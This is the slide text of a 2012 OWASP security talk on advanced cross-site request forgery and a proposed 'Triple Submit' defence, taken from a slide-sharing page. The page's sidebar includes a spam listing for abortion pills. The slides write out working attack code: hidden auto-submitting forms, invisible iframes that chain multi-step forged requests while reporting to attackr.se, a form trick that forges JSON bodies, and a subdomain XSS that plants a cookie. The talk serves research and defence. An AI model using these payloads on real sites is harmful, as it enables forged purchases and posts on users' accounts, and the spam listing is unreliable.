Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Recently uploaded (20)

Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
WSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering DevelopersWSO2's API Vision: Unifying Control, Empowering Developers
WSO2's API Vision: Unifying Control, Empowering Developers
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 

Advanced CSRF and Stateless Anti-CSRF

  • 1. Advanced CSRF and Stateless Anti-CSRF @johnwilander at OWASP AppSec Research 2012
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) johnwilander.se (papers etc)
  • 4. Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  • 5. Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  • 6. What’s on your mind? What’s on your mind? POST POST
  • 7. What’s on your mind? What’s on your mind? I love OWASP! POST POST
  • 8. What’s on your mind? What’s on your mind? I love OWASP! POST POST John: I love OWASP!
  • 9. What’s on your mind? What’s on your mind? POST POST
  • 10. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 11. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 12. What’s on your mind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP!
  • 13. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>
  • 14. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script>
  • 16. What about ”several steps”? Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  • 17. Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  • 18. Can we forge timed GETs and POSTs in a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  • 19. csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 20. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 21. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 22. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 23. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 24. Let's look at An iframed CSRF Get
  • 25. Invisible iframe for timed GET <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 26. The iframed page configures which URL to CSRF against via a JavaScript- <!DOCTYPE html> variable. <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 27. <!DOCTYPE html> <html> <head> <script> When the iframe'sGET_SRC = done var IFRAME_ID = "0", DOM is "http://www.vulnerable.com/some.html?param=1"; loading IFRAME_GETTER.onload() is </script> called. <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 28. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = Let's"http://www.vulnerable.com/some.html?param=1"; look at iframeGetter.js … </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 29. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 30. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); IFRAME_GETTER.onload() makes sure imgElement.setAttribute("width", "0"); that the iframe reports back to the imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); main page once every second. document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } so called heart beat function. A }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 31. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { In practice, document.createElement("img"); imgElement = the heart beats are delivered via postMessage between imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); the iframe and the main page. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 32. var IFRAME_GETTER = {}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { The GET CSRF is"https://attackr.se:8444"); executed with an parent.postMessage(IFRAME_ID, } <img src="vulnerable URL"> if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 33. var IFRAME_GETTER onerror event will fire The = {}; IFRAME_GETTER.reportAndGet = function() { does since the vulnerable URL IFRAME_GETTER.haveGotten = false; not respond with an image. We var imgElement; if(parent != undefined) { use that event to stop the parent.postMessage(IFRAME_ID, heart beat function. No heart "https://attackr.se:8444"); } beat means the main page if(!IFRAME_GETTER.haveGotten) { imgElement = this step is done and knows document.createElement("img"); imgElement.setAttribute("src", GET_SRC); can continue opening the next imgElement.setAttribute("height", "0"); iframe. imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 34. Let's look at An iframed CSRF Post
  • 35. <!DOCTYPE html> <html> Invisible iframe for timed <head> <script> POST var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 36. <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> The vulnerable URL can be <script src="../iframePoster.js"></script> </head> found in the form to be <body onload="IFRAME_POSTER.onLoad()"> posted. <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 37. <!DOCTYPE html> <html> <head> <script> When the iframe's DOM is done var IFRAME_ID = "1"; loading IFRAME_POSTER.onload() </script> is <script src="../iframePoster.js"></script> </head>called. <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 38. <!DOCTYPE html> <html> <head> Let's IFRAME_ID iframePoster.js <script> var look at = "1"; … </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 39. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); IFRAME_POSTER.havePosted = true; } }; IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 40. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { makes sure IFRAME_POSTER.onload() thedocument.forms['target'].submit(); main iframe reports back to the IFRAME_POSTER.havePosted = true; page once every second. Again, a } }; heart beat function. IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 41. var IFRAME_POSTER = {}; IFRAME_POSTER.havePosted = false; IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); The heart beats stop automatically } when the POST is done since the if(!IFRAME_POSTER.havePosted) { document.forms['target'].submit(); iframe is loaded with thetrue; IFRAME_POSTER.havePosted = response } }; from the web server that got the POST. IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000); }; iframePoster
  • 42. The main page configures the order of the CSRF steps, opens iframes and … var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'} ], appendIFrame = function(frame) { var domNode = '<iframe src="' + frame.src + '" height="600" width="400"' + (hideIFrames ? 'style="visibility: hidden"' : '') + '></iframe>'; $("body").append(domNode); }; … csrfMultiDriver.ht
  • 43. return { … listens on checkIFrames : function() { var frame; heart beats to for (var i = 0; i < frames.length; i++) { frame = frames[i]; time every iframe if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.ht
  • 44. Demo Multi-Step, Semi-Blind CSRF against amazon.com which has protection against this. The intention is to show how you can test your own sites.
  • 45. There used to be a protection in web 1.5
  • 46. Forced Browsing wizard-style Shipment info ✉ Payment info $ Next Buy!
  • 47. Forced Browsing wizard-style Shipment info ✉ Payment info $ Token Next Buy!
  • 48. Forced Browsing wizard-style Shipment info ✉ Payment info $ Re-Auth Next Buy!
  • 49. Forced Browsing wizard-style Token 1 Token 2 Token 3
  • 50. Forced Browsing wizard-style Token 1 Token 2 Token 3 State built up i steps, server roundtrip in-between
  • 51. Forced Browsing wizard-style Token 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 52. But in RIAs ...
  • 53. RIA & client-side state { ”purchase”: {} }
  • 54. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 55. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 56. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 57. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 58. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 59. Can an attacker forge such a JSON structure?
  • 61. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 62. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 63. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 64. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /> </form>
  • 65. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /> </form>
  • 66. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}//' value="dummy" /> <input type="submit" value="Go" /> </form>
  • 67. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}//' value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /> </form>
  • 68. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006", "paddingDummy": "' value='"}' /> <input type="submit" value="Go" />
  • 69. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name='{"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006", "timestamp": "20111006", "paddingDummy": "="} "paddingDummy": "' value='"}' /> ... and that is JSON! <input type="submit" value="Go" />
  • 70. Demo CSRF POST then Demo CSRF + XSS The Browser Exploitation Framework http://beefproject.com/
  • 71. Important in your REST API • Restrict do CSRF with GETe.g. POST Easier to HTTP method, • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi- part and text/plain
  • 72. Double Submit (CSRF Protection)
  • 73. Double Submit (CSRF protection) Anti-CSRF value as cookie ... ... and request parameter
  • 74. Double Submit (CSRF protection) cookie ≠ request parameter Cannot read the anti-CSRF cookie to include it as parameter
  • 75. Double Submit (CSRF protection) Anti-CSRF cookie can be generated client-side => no server-side state
  • 76. Demo Double Submit
  • 78. Are We Fully Protected Now? Of course not
  • 79. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org Search Buy!
  • 80. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org <script>alert('XSS')</script> Search XSS OK Buy!
  • 81. The Other Subdomain https://securish.1-liner.org https://other.1-liner.org <script> Search $.cookie( "doubleSubmitToken", "knownValue", { path: "/", domain: ".1-liner.org" }); </script> Buy!
  • 82. Demo Subdomain XSS Double Submit Bypass
  • 83. I'm proposing some sort of Triple Submit CSRF Protection
  • 84. Triple Submit (CSRF protection) Initial request of rich internet app
  • 85. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as JavaScript variable
  • 86. Triple Submit (CSRF protection) Random HttpOnly cookie Cookie value as request parameter Stateful: Cookie name saved in server session Stateless: Server only accepts one such cookie (checks format)
  • 87. The 3rd Submit • The server sets an HttpOnly cookie with a random name and random value • The server tells the client the value of the random cookie, not the name • The client submits the value of the cookie as a request parameter
  • 88. The 3rd Submit • The server sets an httpOnly cookie response.setHeader("Set-Cookie", randomName a random randomValue + "; with + "=" + name and random value HttpOnly; path='/'; domain=.1-liner.org"); • The server tells the client the name and value of the random cookie • The Client submits the name and value of the cookie as a request parameter
  • 89. The 3rd Submit • The server sets an httpOnly cookie with a random name and random value <script> • var ANTI_CSRF_TRIPLE the client the name %>; The server tells = <%= randomValue </script> value of the random cookie and • The Client submits the name and value of the cookie as a request parameter
  • 90. The 3rd Submit • Cookie value as parameter • The cookie name • The cookie value
  • 91. My Demo System is Being Released as an OWASP • https://www.owasp.org/index.php? title=OWASP_1-Liner • https://github.com/johnwilander/ owasp-1-liner

Editor's Notes

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. \n
  21. \n
  22. \n
  23. \n
  24. \n
  25. \n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. \n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. \n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. \n
  89. \n
  90. \n
  91. \n
  92. \n